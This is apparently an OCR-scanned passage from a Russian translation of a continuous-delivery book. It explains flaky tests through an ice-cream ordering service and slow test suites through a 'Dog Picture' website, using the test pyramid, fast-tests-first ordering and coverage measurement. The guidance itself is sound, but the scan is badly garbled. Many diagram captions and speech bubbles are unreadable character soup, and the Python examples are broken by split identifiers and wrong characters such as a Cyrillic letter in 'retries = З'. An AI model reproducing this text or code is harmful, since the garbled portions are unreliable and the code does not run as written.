Mr. Freezie ненадежно, поэтому тест иногда дает сбои, так как не может успешно 
установить соединение, и сразу же проходит при повторной попытке. 

Но проблема в том, что Пит повторяет весь тест. Поэтому если тест не пройдет по 
другой причине, он все равно будет повторен. Именно это и произошло. Оказалось, 
что в способе передачи заказов на Mr. Freezie была ошибка, из-за которой общая 
сумма заказа иногда оказывалась неверной. Когда это происходило в реальной систе
ме, пользователям выставлялись неверные счета, что приводило к возникновению 
ошибки с кодом 500 и сбою в работе. 

Что Пит должен был сделать на самом деле? Помните, что сбои в тестировании 
представляют собой несоответствие: 

Если тест не проходит, значит, существует несоответствие между тем, 
какое поведение системы ожидает тест, и тем, как на самом деле ведет 
себя система. 

Пит должен задать себе вопрос, который необходимо задавать каждый раз, изучая 
провал теста: 

Где на самом деле заключено желаемое поведение - в тесте или в системе? 

Разумным шагом в стратегии Пита было бы изменить логику повторных тестов, то 
есть чтобы они касались только сетевого подключения: 

def test_proces s_order_bett e r ( self ) : 
order = _generate_mr_freezie_order ( )  
mrf = MrF reezie ( )  

# Тест не должен проваливаться только потому, 

# что сетевое подключение MrF reezie ненадежно . 

def connect ( ) :  

mrf . connect ( )  

retry_network_error s ( connect , retries = З )  

mrf . proces s_ord e r ( order )  
_a s s ert_order_updated ( order )  
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Пересмотр повторного тестирова н ия 
Пит доработал свое решение и стал перезапускать только ту часть теста, которая, 
по его мнению, иногда могла не срабатывать. В процессе анализа кода Пиюш идет 
еще дальше: 

• Пиюш 
Спасибо за исправление, Пит! Так намного лучше :) 
Просто интересно: код, который фактически вызывает MrF reez ie . Connect ( ) , 
мы тоже запускаем повторно? Я думаю, что если подключение такое 
ненадежное, пользователи столкнутся с той же проблемой. 

@ Пит 
Хороший вопрос. Ты прав: если не удается вызвать функцию Connect ( )  
для любой из интеграций, мы просто сразу прекращаем работу. Я обновлю 
код сервиса Ice Cream, чтобы он был более устойчив к сетевым ошибкам. 

На самом деле повторный запуск теста скрывал два бага: помимо ошибки в способе 
передачи заказов на Mr. Freezie, существовал более крупный баг, который заклю
чался в том, что код сервисов Ice Cream не был устойчив к сбоям в сети (вы же не 
хотите, чтобы ваш заказ на мороженое не был выполнен только из-за того, что в сети 
возникли временные неполадки, правда?) .  

Компании Ice Cream for All повезло, что разработчики так быстро обнаружили 
проблемы, возникшие из-за повторного запуска тестов. Если бы сбоя не произошло, 
их, возможно, никогда бы и не заметили и для исправления ненадежных тестов 
продолжали использовать перезапуск. Только представьте возможный масштаб 
проблемы: сколько багов остались бы скрытыми через несколько лет применения 
этой стратегии? 

Перезапуск flаkу-тестов, чтобы они успешно проходили, вносит шум: шум 
тестов, которые прошли, но не должны были. 

Специфика программных проектов такова, что в них добавляется все больше слож
ности, и это ведет к тому, что небольшие возникающие недочеты будут разрастаться 
по мере развития проекта. Если немного сбавить темп и переосмыслить такие про
межуточные меры, как перезапуск тестов, это окупится в долгосрочной перспективе! 
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� Ваш ход: исп ра вление flaky-тecтa 

Пиюш пытается разобраться с еще одним нестабильным тестом в сервисе Ice 
Cream. Этот тест не проходит, но случается это реже чем раз в неделю, хотя 
тесты выполняются не менее сотни раз в день, и эту ситуацию очень трудно 
воспроизвести локально: 

def test_add_to_c a rt ( self ) : 
c a rt = _generate_c a rt ( )  
items = _genterate_items ( S )  
for item i n  items : 

c a rt . add_item ( item)  
self . a s sertEqua l ( len ( c art . get_items ( ) ) ,  5 )  

Иноzда эмо � не срабамы6аем. 

Корзина работает с базой данных. Каждый раз, когда товар добавляется в кор
зину, база данных обновляется, а когда товары считываются из корзины, они 
считываются из базы данных. 

1 .  Предположим, что когда тесты не проходят, количество товаров в корзине 
равно 4, а не 5 .  Как вы думаете, что может пойти не так? 

2. А если проблема в том, что количество товаров 6, а не 5 ,  что тогда может 
пойти не так? 

3 .  Если Пиюш решит эту проблему, повторно запустив тест, какие ошибки 
он рискует скрыть? 

4. Допустим, Пиюш замечает эту проблему, когда пытается исправить кри
тически важный для выпуска продукта вопрос. Что ему сделать, чтобы 
убедиться, что он не добавит еще больше шума, при этом не заблокировав 
критически важное исправление? 

� Ответы 

1 .  Если количество прочитанных элементов меньше, чем записанное, воз
можно, где-то возникает состояние гонки. Необходимо ввести синхро
низацию, чтобы прочитанные данные действительно соответствовали 
записанным. 

2 .  Если число больше, возможно, существует фундаментальный дефект 
в способе записи элементов в базу данных. 

3 .  Любой из описанных выше сценариев указывает на недостатки в логике 
работы корзины, которые могут привести к потере заказов и неправиль
ному выставлению счетов на оплату. 

4. В этом сценарии целесообразно добавить временный перезапуск для раз
блокировки этой работы, если проблема с test_add_to_cart впоследствии 
будет расцениваться как баг, а логика перезапусков будет быстро удалена. 
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Зачем же переза пускать тесты? 
Учитывая то, что мы только что узнали, вы можете удивиться, зачем вообще по
вторять проваленные тесты. Если это так плохо, почему так много разработчиков 
делают это и почему так много тестовых фреймворков это поддерживают? На то 
есть несколько причин: 

• Для использования той или иной логи-
ки повторения тестов часто есть веские 
основания:  например, Пит был прав, 
когда планировал повторить попыт
ку сетевого подключения, если оно не 
сработало. Но вместо того чтобы про
верить, что логика перезапуска теста 
размещена в нужном месте, ему проще 
было повторить весь тест. 

Нет ничего более постоянного, 

чем временное 

Будьте осторожны всякий раз, 
когда вносите временное исправ
ление. Такие решения отодвига
ют решение основной проблемы, 
и вы не успеете оглянуться , как 
пройдет два года, и временное 

• Если вы правильно настроили пайп- исправление станет постоянным. 

лайны, проваленный тест блокирует 
и замедляет всю работу. Логично стараться возобновить ее как можно быстрее 
и с минимальными усилиями, и в таких ситуациях перезапуск тестов может быть 
уместен, но при условии, что это только временная мера. 

• Приятно что-то починить, а еще приятнее - сделать это с помощью технологии; 
перезапуск тестов позволяет получить немедленное удовлетворение. 

• И основное: люди часто думают, что главное - чтобы тесты проходили, но это за
блуждение. Нельзя запускать тесты только ради того, чтобы они проходили. Тесты 
важны потому, что они сообщают информацию (сигнал) .  Когда мы скрываем сбои, 
не решая проблему, мы снижаем значимость набора тестов, добавляя в него шум. 

Поэтому если у вас возникнет соблазн повторить тест, остановитесь и подумайте, 
можно ли выяснить, что на самом деле вызвало проблему. Перезапускать тесты 
целесообразно в следующих случаях: 

• перезапуск применяется только к недетерминированным и неконтролируемым 
элементам (например, к интеграции с другими работающими системами) ;  

• повторяемая операция изолирована (например, в случае Пита достаточно по
вторить только вызов Connect ( )  вместо всего теста) .  

Доби вшись «зеленого» статуса, 
поддержи вайте его 
Казалось, что бы ни делала компания !се Cream for All, что-то все время шло не так. 
Однако разработчики двигались в верном направлении; они получили несколько 
полезных уроков, которые им нужно усвоить, и надеюсь, мы тоже сможем извлечь 
пользу из их ошибок! 
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В любом проекте в первую очередь важно 
привести набор тестов в «зеленый» режим 
и поддерживать его в таком состоянии.  
Если у вас много тестов, которые провали
ваются (независимо от того, постоянно ли 
они не проходят или это флейки) ,  имеет 
смысл принять радикальные меры, чтобы 
они стали сообщать полезный сигнал: 

- - -

• Приостановка разработки для исправ
ления наборов тестов, несомненно, со 
временем окупится. Однако если добро 

J�s5] 
8 

на это вам не дают (в конце концов, это дорогое удовольствие), не отчаивайтесь, 
просто прийти в «Зеленый» режим будет сложнее. 

• Отключение и перезапуск проблемных тестов, несмотря на то что в долгосроч
ной перспективе такой подход неэффективен, может помочь войти в «зеленый» 
режим (то есть получать информативные сигналы), если правильно расставить 
приоритеты при последующем исследовании этих тестов ! 

Помните о балансе: как бы вы ни старались и как бы хорошо ни поддерживали свои 
тесты, баги всегда будут возникать. Вопрос в том, во сколько они обходятся. 

Если вы разрабатываете критически важную технологию в области здравоох
ранения, стоимость этих ошибок огромна, и целесообразно потратить время на 
тщательное устранение всех возможных багов. Но если вы работаете над интернет
магазином мороженого, то, безусловно, имеете большую свободу. (Ни в коем случае 
не преуменьшаю ценность мороженого, оно очень вкусное ! )  

Достигнув «зеленого» режима, постарайтесь в нем остаться . Обрабатывайте 
каждый сбой как баг, но и не относитесь к ним серьезнее, чем это необходимо. 

Ладно, бросьте: многие тесты ненадежны, но не все они ведут к сбоям, 

не так ли? 

Возможно, злосчастной компании Ice Cream for All просто исключительно не 
повезло, что у нее случилось несколько сбоев, которых можно было избежать, 
если бы обнаружившие их тесты не были проигнорированы. Однако исключать, 
что подобное произойдет снова, нельзя. Обычно такие ситуации совсем не 
очевидны, и главное, никогда не знаешь наверняка, когда они возникнут. Еще 
более серьезная проблема заключается в том, что такое небрежное отношение 
к тестам со временем нивелирует их значимость. Представьте себе пожарную 
сигнализацию, которая иногда срабатывает при пожаре, а иногда вхолостую 
(или, что еще хуже, не срабатывает при пожаре ! ) ,  и сигнализацию, которая 
всегда означает пожар. Какая из них представляет большую ценность? 
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� Билд-инженер и разработчи к 

В зависимости от того, какая у вас роль в команде, вы, возможно, читаете эту 
главу с ужасом, думая: «Но ведь я не могу изменять тесты! » .  Довольно часто 
роли в команде распределяются таким образом, что за состояние тестов от
вечают совсем не те люди, которые их пишут или разрабатывают функции. 
Например, это может быть билд-инженер, инженер по повышению произво
дительности или аналогичные роли: эти специалисты взаимодействуют 
с командой разработчиков функций и оказывают ей поддержку. 

Если вы именно такой специалист, у вас может возникнуть соблазн по
ложиться на решения, которые не требуют внимания или усилий разработ
чиков, занимающихся созданием функций. Далеко не в последнюю очередь 
поэтому так часто используют автоматизацию (например, повторные тесты) 
вместо того, чтобы устранять ошибки напрямую в самих тестах. 

Но если эволюция сферы разработки и научила нас чему-то, так это тому, 
что слишком жесткое разграничение ответственности между исполнителями 
является антипаттерном. Просто взгляните на DevOps - это попытка раз
рушить барьеры между разработчиками и командой эксплуатации. Точно так 
же если мы попытаемся провести жесткую грань между процессами сборки 
и разработки функций, мы с удивлением поймем, что нам это не удалось. 

Правда непрерывной доставки в целом и тестирования в частности за
ключается в том, что без усилий со стороны самих разработчиков функций 
они не будут эффективными. Попытка исключить фактор разработчиков со 
временем приведет к ухудшению качества и эффективности набора тестов. 

Итак, если вы билд-инженер, что вам делать? У вас есть три варианта: 

• Применять возможности автоматизации, такие как повторные тесты, 
и смириться с тем, что это со временем приведет к ухудшению качества 
тестов. 

• Взять на себя обязанности разработчика функций и научиться вносить 
необходимые исправления (в тесты и в код, который вы тестируете) .  

• Заручиться поддержкой со стороны разработчиков функций и тесно 
сотрудничать с ними для устранения любых сбоев в тестировании (на
пример, открывая баги для отслеживания неудачных тестов в системе 
и доверяя разработчикам их оперативное устранение). 
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Закл ючение 
Тестирование - это сердце непрерывной доставки. Без тестирования в ы  н е  будете 
знать, безопасны ли изменения, которые вы собираетесь непрерывно интегрировать. 
Но печальная правда в том, что если не поддерживать наборы тестов, их эффектив
ность с течением времени снижается. В частности, это часто происходит из-за не
понимания того, что такое нестабильные тесты, - но это решаемо ! 

Итоги 
• Тесты имеют решающее значение для непрерывной доставки. 

• Как проваленные, так и прошедшие тесты могут добавлять шум; нестабильные 
тесты - это любые тесты, которые скрывают информацию, которую должен 
предоставлять набор тестов. 

• Лучший способ восстановить эффективность нестабильного набора тестов -
как можно быстрее войти в «зеленый» режим (в котором все тесты успешно 
проходят). 

• Работайте с проваленными тестами как с багами и помните, что часто необхо
димо исправлять код, а не сам тест. В любом случае сбой представляет собой 
несоответствие между реальным поведением системы и поведением, ожидаемым 
в тесте, и этот сбой заслуживает тщательного анализа. 

• Повторное выполнение всего теста требуется редко, и делать это следует с осто
рожностью. 

Далее .. .  
В следующей главе мы продолжим рассматривать проблемы, которые возникают 
в наборах тестов по мере их расширения, а именно их тенденцию замедляться, часто 
до такой степени,  что это тормозит разработку функций. 
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. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  ' 

В этой гла ве 

./ Ускорение работы медленных тестовых наборов за 

счет того, что вначале запускаются более быстрые 

тесты 

./ Использование «пирамиды тестов», чтобы определить 

оптимальное соотношение между интеграционными, 
системными и юнит-тестами 

./ Измерение тестового покрытия кода для достижения 

и поддержания необходимого соотношения 

" Как  получать более быстрый сигнал от медленных 

тестов за счет параллельного выполнения и шардинга 

./ Когда параллельное выполнение и шардинг  целесо

образны и как их использовать 

6 

••••••••••••••••••••••••••••••••••••••••••••••••••••••••••• 

В предыдущей главе вы узнали, что делать с тестами, которые не предоставляют 
полезный сигнал, но как быть, если тесты банально тормозят� Неважно, насколько 
качественный сигнал дают тесты; если на его получение уходит слишком много вре
мени, это замедляет всю разработку! Посмотрим, что можно сделать даже с самыми 
безнадежно медленными наборами. 
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Веб-сайт Dog Picture 
Помните сайт Cat Picture из главы 2? У его крупнейшего конкурента, сайта Dog 
Pictuгe, трудности со скоростью разработки. Джаду, менеджера этого программ
ного продукта, волнует то, что на разработку даже простейших пользовательских 
функций уходят месяцы. 

MtJt де1АсW161АW1еЛDно 
сможем зaV\yCW11AW1tJ 
«Избранное» WIOЛtJKO 

через несколtJко неделtJ? 

сложная? 

Да, мхоже, ЧWlo 
мW1ребуеW1ся еще 

MIAHIAM!JM W1p1A 
недели .  

Чтобы понять,  почему разработка веб-сайта Dog Picture идет 
так медленно, кратко рассмотрим его архитектуру и пайплайн. 
Можно заметить, что архитектура Dog Picture немного проще, 
чем некоторые другие архитектуры, которые мы рассматривали: 
разработчики разделили фронтенд и бэкенд, но не пошли дальше 
и не переместили ни одно из хранилищ в облако. 

Выполнение 
всех тестов 

Создание образов 
� фронтенда и бэкенда 

Загрузка образов 
и обновление 
базы данных 

Почему же у них возникли проблемы при такой простой архи
тектуре? 

Перенос в облако решит все проблемы? 

Между сайтами Dog Picture и Cat Picture есть одна большая разница - послед
ний использует облачное хранилище. Решает ли оно проблему? Нет, не в этом 
случае!  Скорее наоборот, это усложнит процесс тестирования, поскольку 
меньше компонентов будет находиться под контролем разработчика. (Прочие 
преимущества могут перевесить эти недостатки, но это уже тема другой книги ! )  
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Когда простое сл и шком п росто 
Пайплайн, который используется на сайте Dog Picture, кажется простым и логич
ным. На первый взгляд он такой же, как и пайплайны, которые мы рассматривали 
до сих пор. Но у него есть важное отличие. 

Выполнение 

всех тестов 

Создание образов 
фронтенда и бэкенда 

Загрузка образов 
и обновление 
базы данных 

Это единственный пайплайн, который используется для Dog Picture. Разработчики 
применяют его и для тестирования, и для сборки и загрузки обоих образов: фронтенда 
и бэкенда. Друтих пайплайнов у них нет. Еще в главе 2 мы познакомились с архитекту
рой и дизайном пайплайна крупнейшего конкурента Dog Picture - сайта Cat Picture. 

8 
"1 

Apxu.W1eKW1ypa cai:iW1C1 Cat Pictu.re 

t:� 
1 \J 

...--��___, .�С�е-р-
ви

-
с� 

Сервис 
картинок 

пользо
вателей 

Сайт Cat Picture использует отдельный пайплайн для каждого из своих сервисов: 

в� Выполнение 
интеграционных � и юнит-тестов 

_____ _,,, 

Создание 
образа 

Загрузка 
образа 
в реестр 

) Обновление текущего 

� сервиса для подгрузки 
' 

нового образа 

Dog Picture вместо этого решил использовать один пайплайн для всей системы, что 
неплохо для начала, однако при этом компания не сможет развиваться. В частности, 
задача, запускающая тесты, запускает все тесты сразу. Dog Picture значительно от
стает от своего ближайшего конкурента по сложности структуры пайплайна! 
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Новый разработчи к  п ытается отправить код 
Посмотрим, что происходит при попытке отправить код на сайт Dog Picture и как 
структура пайплайна, особенно в части тестирования, влияет на скорость разра
ботки. Шридхар, новичок в команде Dog Picture, работает над новой функцией «Из
бранное», о которой спрашивала Джада. Фактически он уже написал код, который, 
по его мнению, необходим для этой функции, а также несколько тестов. Что дальше? 

вторн и к  
14:00: Шридхар вносит изменения в код. 

1 5 : 14:  Другой разработчик вносит изменения. 

1 5:30: Третий разработчик вносит еще больше изменений. ! • , • ! 23,00, Си"<м• CD н'"ин•" ночной про сон n•йnл.йн•. 

среда 

0 1 :42: тесты не прошли. 

Система CD отправляет электронное письмо Шридхару 
и двум другим разработчикам, которые внесли 
изменения, о том, что пайплайн остановлен. 

1 6:02: Потратив весь день на попытки отладить 
систему, Шридхар и два других разработчика 
отменяют свои изменения, чтобы восстановить 
работу пайплайна. Шридхар еще раз 
попытается отладить возникшие проблемы 
и, возможно, завтра снова выложит изменения. 

Проблемы сайта Dog Picture отличаются от тех, которые мы рассматривали в преды
дущей главе: набор тестов всегда выдает «зеленый» результат, но тесты запускаются 
только раз в день вечером, а утром разработчикам приходится разбираться, кто что 
повредил. И как мы видели в главе 2, это действительно очень замедляет работу! 
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Тесты и непреры вная доставка 
Самое время задать интересный вопрос: а работает ли вообще команда сайта Dog 
Picture с непрерывной доставкой? В какой-то мере ответ всегда положительный, 
поскольку компания придерживается некоторых ее принципов, включая автома
тизацию развертывания и непрерывное тестирование, но вернемся еще раз к тому, 
что вы узнали в главе 1 .  Вы реализуете CD, когда: 

• можете безопасно вносить изменения в свой продукт в любое время; 

• доставка этого продукта максимально проста, буквально нажатием кнопки. 

Подумаем о первом условии: можно ли вносить изменения на сайт Dog Picture безо
пасно и в любое время? Шридхар произвел слияние своих изменений за несколько 
часов до того, как ночью автоматизированная система заметила, что тесты не про
ходят. А если бы команда Dog Picture захотела выполнить развертывание во второй 
половине этого дня, было бы это безопасно? 

Нет! Определенно нет! Потому что их тесты запускаются только ночью. 

• Разработчикам всегда нужно ждать по крайней мере до следующего дня после 
внесения изменения, чтобы провести развертывание продукта. 

• Их продукт находится в состоянии готовности к релизу только сразу после про
хождения тестов, пока не внесены другие изменения (допустим, тесты проходят 
ночью, а кто-то вносит изменение в восемь утра: это немедленно возвращает 
продукт в состояние, когда неизвестно, можно ли безопасно выпустить релиз) .  

Итак, можно сказать, что сайт Dog Picture не  соответствует первому условию не
прерывной доставки. 

� Словарик 
Непрерывное тестирование - это выполнение тестов 
как часть пайплайна CD. Это не столько отдельная ме
тодика, сколько признание того, что тесты должны вы
полняться постоянно. Просто иметь тесты недостаточно: 
можно их иметь, но никогда не запускать или автомати
зировать, но запускать лишь время от времени. 
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Диа гноз: сли шком медленно 
К счастью, Шридхар - опытный разработчик и уже сталкивался с подобными про
блемами!  

Сl'\асцбо, ЧWIO Сl'\росилц1 
На самом деле н.аобороW1: 
я рад, l'\OWIOM!J ЧWIO знаю, 

как ycкopuW11:> 1'\ро4есс. 

Его руководитель настроен скептиче
ски, но Шридхар уверен в себе, а Джа
да, менеджер продукта, в восторге от 
идеи попытаться ускорить разработ
ку. Шридхар изучает среднее время 
выполнения тестов за последние не
сколько недель:  2 часа 35  минут. Он 
формулирует следующие цели: 

• Запускать тесты при каждом из
менении до его отправки. 

• Выполнять весь набор тестов 
в среднем за 30 минут или меньше. 

• Выполнять интеграционные и 
юнит-тесты меньше чем за 5 минут. 

• Выполнять юнит-тесты меньше 
чем за 1 минуту. 

Целевые показатели, к которым следу-

Я l'\pOCW\O ХОЧ!J !JWIOЧН.IAW\I:>. 
Надеюс1:>, бас н.е очен.1:> ozopчaeW1, 

ЧWIO рабоW1а н.ад фун.к4цеiА 
1'\родбцzаеWIСЯ WlaK медлен.но. 

В первую очередь займ итесь тем, 
что доставляет самые боль шие 

неудобства 

Лучше всего об этом сказали Джез 
Хамбл и Дэвид Фарли в своей книге 
Continuous Delivery ' :  «Если опеrация 
болезненная, выполняйте ее чаще 
и в первую очередь». Если задача 
сложная или занимает много време
ни, мы инстинктивно откладываем ее 
на потом, но лучше делать наоборот! 
Если вы изолируете себя от пробле
мы, у вас будет меньше мотивации 
ее решить. Поэтому лучший способ 
справиться с проблемой - занимать
ся ею чаще! 

ет стремиться, зависят от проекта, но в большинстве случаев они должны примерно 
совпадать с теми, какие определил Шридхар. 

1 Хамбл Дж" Фарли Д.  «Непрерывное развертывание ПО. Автоматизация процессов сборки, 
тестирования и внедрения новых версий программ».  
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Вы, наверное, заметили, что цели, поставленные Шридхаром, отличаются в зави
симости от типа теста: 

• Выполнять весь набор тестов в среднем за 30 минут или меньше. 

• Выполнять интеграционные и юнит-тесты меньше чем за 5 минут. 

• Выполнять юнит-тесты меньше чем за 1 минуту. 

Юнит-тесты 

Я не буду подробно останавливаться на различи
ях между этими видами тестов. О них вы можете 
узнать из книг, посвященных тестированию. 

Что это за тесты? Шридхар имеет в виду пи
рамиду тестов, то есть общую визуализацию 
типов тестов, которые необходимы в большин
стве программных проектов, и их примерное 
соотношение. 

В основе пирамиды лежит тот факт, что 
подавляющее большинство тестов в наборе 

являются юнит-тестами, интеграционных тестов значительно меньше и, наконец, 
сквозных тестов совсем немного. При постановке целей тестирования для сайта 
Dog Picture Шридхар руководствовался этой пирамидой: 

BecD набор 
1Мес1Мо6 должен 
6DIV\OЛHЯIМDCЯ 
менD�ме чем 
за 30 MUH!:JIМ. 

ВD1V\олнение 
IOHUIМ -1Мес1Мо6 
должно занимаlМD 
MeHDIМe 1.- MUH!:JIМDI. 

Враузерные 1МеС1МDI 
бключаю1М ЗаV\уск 

.---...._ и V\pOCMOIМp 
беб-са�АIМа 
через браузер . 

Юнит-тесты 

Все V\рочие  IМtclМDI ,  
кроме браузернD1Х, 
долЖНDI 6DIV\OЛHЯIМDCЯ 
менD�ме чем 
за 5 MUH!:JIМ. 

( Сервисные тесты, тесты п ользовательского интерфейса (Ul-тест ы), 

сквозные тесты, интеграционне тесты и . . .  

Если вы уже сталкивались с пирамидами тестов, вы могли использовать другую 
терминологию. Термины здесь не так важны, как то, что существуют различные 
типы тестов и что тесты в нижней части пирамиды меньше всего связаны между 
собой, а тесты в верхней части - наоборот. Связанность ( coupling) здесь означает � 
растущую взаимозависимость между тестируемыми компонентами, что обычно w. 
приводит к усложнению тестов, требующих больше времени на выполнение. � 
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Сначала быстрые тесты 
Шридхар использует подход на основе пирамиды тестов в том числе потому, что зна
ет, что один из способов получить быструю обратную связь - начать группировать 
и выполнять тесты в зависимости от их типа. Пол М. Дюваль в книге «Continuous 
Integration» 1  предлагает следующее: 

Выполняйте сначала самые быстрые тесты. 

Сейчас на сайте Dog Picture все тесты выполняются одновременно, но когда Шрид
хар выделяет в коде юнит-тесты и запускает их отдельно, оказывается, что они уже 
выполняются менее чем за минуту. То есть он уже достиг своей первой цели! 

Если он сможет сделать так, чтобы все разработчики сайта Dog Picture запускали 
только юнит-тесты, то они смогут быстро получать оперативный отклик на свои из
менения. Они смогут запускать эти тесты локально для своих изменений перед тем, 
как вносить эти изменения в общий код. Осталось только найти способ упростить 
изолированный запуск тестов. Для этого есть несколько вариантов: 

• Договориться о местоположении тестов - это самый простой способ: например, 
всегда хранить юнит-тесты рядом с кодом, который они тестируют, а интегра
ционные и системные тесты - в соответствующих папках. То есть для юнит
тестирования запускать тесты в папках с кодом (или в папке с названием unit) ;  
для интеграционного - тесты в папке integration tests, и т. д. 

• Многие языки позволяют указывать тип теста, например, с помощью флага 
сборки в Go (можно изолировать интеграционные тесты, требуя запускать их 
с флагом сборки, таким как integration)  или с помощью декоратора, отмечаю
щего тесты разных типов, если используется пакет pytest в Python. 

К счастью, команда Dog Picture уже частично соблюдала договоренность о распо
ложении тестов: тесты браузера находились в папке tests/browser, а юнит-тесты -
рядом с кодом. Интеграционные были смешаны с юнит-тестами, поэтому Шридхар 
переместил их в папку tests/integration, а затем обновил пайплайн, чтобы он выглядел 
следующим образом: 

Выполнение 
юнит-тестов 

1 Выполнение 
с;) интеграционнных с;) 

и браузерных тестов 

Создание образов 
фронтенда 
и бэкенда 

Загрузка образов 
и обновление 
базы данных 

1 Дюваль Пол М.  и др. «Непрерывная интеграция: улучшение качества программного обес
печения и снижение риска». 
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До сих пор разработчикам приходилось ждать ночного запуска пайплайна, чтобы 
проверить свои изменения, поскольку его выполнение занимало очень много вре
мени. Однако новая задача «Выполнение юнит-тестов»,  которую создал Шридхар, 
выполняется менее чем за минуту, поэтому ее можно запускать для каждого изме
нения, даже до слияния. Шридхар обновляет автоматизацию сайта Dog Picture так, 
чтобы при каждом изменении перед слиянием запускался следующий пайплайн, 
содержащий только одну задачу: 

Выпопнение 
юнит-тестов 

ЭW\OW\ (крошеч -
..---..., Hl:it!A) V\tlUV\Лa!Aн 

заv-.ускаеW1ся для 
каждого изменения 
v-.еред слиянием. 

На сайте Dog Picture теперь два пайплайна: описанный выше - который запускает
ся при каждом изменении, и более длинный и медленный - который запускается 
ночью: 

Выполнение 
юнит-тестов 

Выполнение 
интеграционнных q 

и браузерных тестов 

Создание образов 
фронтенда 
и бэкенда 

Загрузка образов 
и обновление 
базы данных 

"- ЭW\OW\ V\tlUV\Лa!Aн 
заv-.ускаеW\СЯ 
каждую ночf:i. 

Два пайплайна - это хорошо или плохо? Наша цель - всегда смещаться влево 
и получать как можно больше информации как можно раньше (подробнее об этом 
в следующей главе), так что эта ситуация не идеальна. Но создав отдельный, более 
быстрый пайплайн, который может работать с каждым изменением, Шридхар смог 
улучшить положение: раньше разработчики вообще не получали обратной связи 
о своих изменениях до их слияния. Теперь у них будет хоть какая-то информация. 
В зависимости от потребностей проекта в нем может быть один пайплайн или не
сколько. Подробнее об этом читайте в главе 1 3 .  

',ф� ВАЖНО 
Если ваш набор тестов медленный, в первую очередь обеспечьте автоматический 
запуск и выполнение самых быстрых тестов. Даже если выполнение всех тестов 
по-прежнему будет занимать много времени, это позволит получать определен
ную часть сигнала несколько быстрее. 
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Соблюден ие баланса 
Шридхар немного исправил ситуацию, но  его изменение практически н е  повлияло 
на интеграционные и браузерные тесты. Они остались такими же медленными, как 
и раньше, а разработчикам по-прежнему приходится ждать следующего утра, чтобы 
узнать результаты сделанных изменений. 

На следующем шаге Шридхар возвращается к пирамиде тестирования. В по
следний раз он думал об относительной скорости каждого блока тестов. Но теперь 
он собирается рассмотреть относительное распределение тестов. 

Пирамида, кроме прочего, дает рекомендации, какое количество тестов каждого 
типа необходимо. Почему? Потому что по мере продвижения по пирамиде вверх 
тесты становятся медленнее. (А еще их становится сложнее поддерживать, но это 
тема другой книги ! )  

Ск6озн"1х W1eCW106 
должно б/:}tW\� 
очен" мало. 

60Лf:}t.!.ЩHCWl60 
W1ecW106 ( V\Ода6ля 
ющее1) должн"' 
COCWla6ЛЯW\f:} 
IOHIAWl-WleCW\f:}t. 

тесты 

Юнит-тесты 

ИнW1еграццонн"1е W1eCW1ot 
об"tчно менее сложн"1е, 
чем ск6озн"1е, V\ОЭW\ому 
если 6/:}t ЧW\О -W\O Не 
можеWlе ox6aW11AW1" 
ЮНиW\ -W\eCW\aMIA , 
иСl'\ОЛ/:}ЗуLi Wle IAHWleгpa -
ЦIAOHH/:}te WlecW\f:}t; 
6 резул"W1аW1е цх можеWI 
l"<олучиWl"СЯ бол"ще, чем 
ск6оз1Ф1х, но должно 
б"tWlo гораздо мен"ще, 
чем юнц WI -W1ecW106. 

Шридхар подсчитал количество тестов в наборе для веб-сайта Dog Picture и сравнил 
его пирамиду с идеальной. Для сайта Dog Picture она выглядит примерно так: 

Юниw. -w.есw.06 
вообще не w.ак 
Много (25 % OW\ 
общего колцче -

Интеграционные 
тесты 

cw.6a) . � 1-----------, 
Юнит-тесты 

Подо.6ляющее боЛf:}ШиН -
cw.60 w.ecw.06 - инw.е 
гро.ционн"tе ( f0 5  % ow. 
общего число.). Чw.о ж, 
м кpo.LiнeLi мере ро.зро. -
боw.чики зно.ли,  чw.о 
нел"зя доба6ляw." 
слишком много бро.узер 
н"1х w.ecw.06! 
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Меняем п и рамиду тестов 
Почему Шридхар обращает внимание на соотношение типов тестов в пирамиде? 
Потому что он знает, что оно не является постоянным. Его можно менять, и это 
изменение может ускорить работу всего набора тестов. Вспомним цели, которые 
Шридхар задал относительно времени выполнения тестов: 

Bect:J но.бор �мес�мо6 
должен 6t:J/У\ОЛНЯ1Мt:JСЯ 
менt:Jше чем 
30. 30 мину�м. 

Вt:1молнение 
юни �м -�мес�мо6 
должно  30.HIAMO.IМt:J 

Юнит-тесты 

Все V1.рочие 
iмeciмt11 ,  кроме 
бро.у3ернt:11х, 
долЖНt:JI 6t:Jtl'\.OЛ 
HЯIМt:JCЯ менt:Jше 
чем 30. 5 мину�м. 

Шридхар хочет сократить время выполнения интеграционных и юнит-тестов до 
5 минут и меньше. Сейчас интеграционные тесты составляют 65 о/о от общего числа 
тестов. Остальное - это 10 о/о браузерных тестов и 25 о/о юнит-тестов. Учитывая, 
что интеграционные тесты выполняются медленнее, чем юнит-тесты, представьте, 
какая разница во времени получится, если изменить их соотношение (при том же 
общем количестве тестов) - если бы интеграционные тесты составляли только 
20 о/о от общего числа тестов, а юнит-тесты тесты, напротив, 70 %. Если примерно 
2/3 существующих (медленных) интеграционных тестов заменить на (более быстрые) 
юнит-тесты, это немедленно повлияет на общее время выполнения всего набора. 

Поставив перед собой конечную цель - скорректировать соотношение типов те
стов, чтобы ускорить работу тестов в целом, Шридхар формулирует ряд новых задач: 

• Увеличить долю юнит-тестов с 25 до 70 %.  

• Уменьшить процент интеграционных тестов с 65 до 20 %. 

• Оставить долю браузерных тестов на уровне 10  %. 
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Безопасная корректи ровка тестов 
Шридхар хочет изменить соотношение между 
интеграционными и юнит-тестами. Он собира
ется сделать следующее: 

• увеличить процент юнит-тестов с 25 до 70 %; 

• уменьшить долю интеграционных тестов 
С 65 ДО 20 %. 

Ему нужно увеличить количество юнит-тестов, 
одновременно уменьшив число интеграцион
ных тестов. Как это сделать безопасно и с чего 
вообще начать? 

При измерении покрытия 
кода запускаются и сами 
юнит-тесты, поэтому 
иногда эти задачи объеди
няют в одну. (Если задача 
выполнения юнит-тестов 
завершится неудачей, то за
дача измерения покрытия, 
скорее всего, тоже! )  

Шридхар обращает внимание на то, что пайплайн сайта Dog Picture не  пред
усматривает измерения тестового покрытия кода. Пайплайн запускает тесты, затем 
выполняет сборку и развертывание ПО, но при этом ни разу не измеряет покрытие 
кода, которое обеспечивают тесты. Таким образом, первым делом необходимо до
бавить в пайплайн функцию измерения тестового покрытия параллельно с запуском 
тестов: 

Выполнение 
юнит-тестов 

Измерение 
покрытия кода 
юнит-тестами 

Выполнение 

интеграционнных 
и браузерных тестов 

Поскольку задача измерения тесто
